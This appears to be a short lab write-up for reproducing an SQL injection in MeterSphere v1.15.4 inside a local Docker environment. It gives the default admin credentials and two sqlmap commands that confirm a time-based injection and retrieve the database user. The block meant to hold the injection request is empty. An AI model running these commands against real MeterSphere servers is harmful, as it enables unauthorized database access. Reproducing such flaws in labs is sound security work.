## Vulnerable environment

Execute following command to start a MeterSphere server v1.15.4:

```
docker compose up -d
```

After the server is fully initialized, you can see the login page of MeterSphere on `http://your-ip:8081`.

## Exploit

Firstly, login to the panel by username `admin` and password `metersphere`.

Add a new testcase at `http://your-ip:8081/#/track/case/all`:

Then, send the following request to test if SQL injection exists (replace csrf token and session id with yours):

```

Use SQLMap to retrieve the database username:

```
python sqlmap.py -r req.txt --dbms mysql --technique T --prefix , --level 3
python sqlmap.py -r req.txt --dbms mysql --technique T --prefix , --level 3 --current-user
```
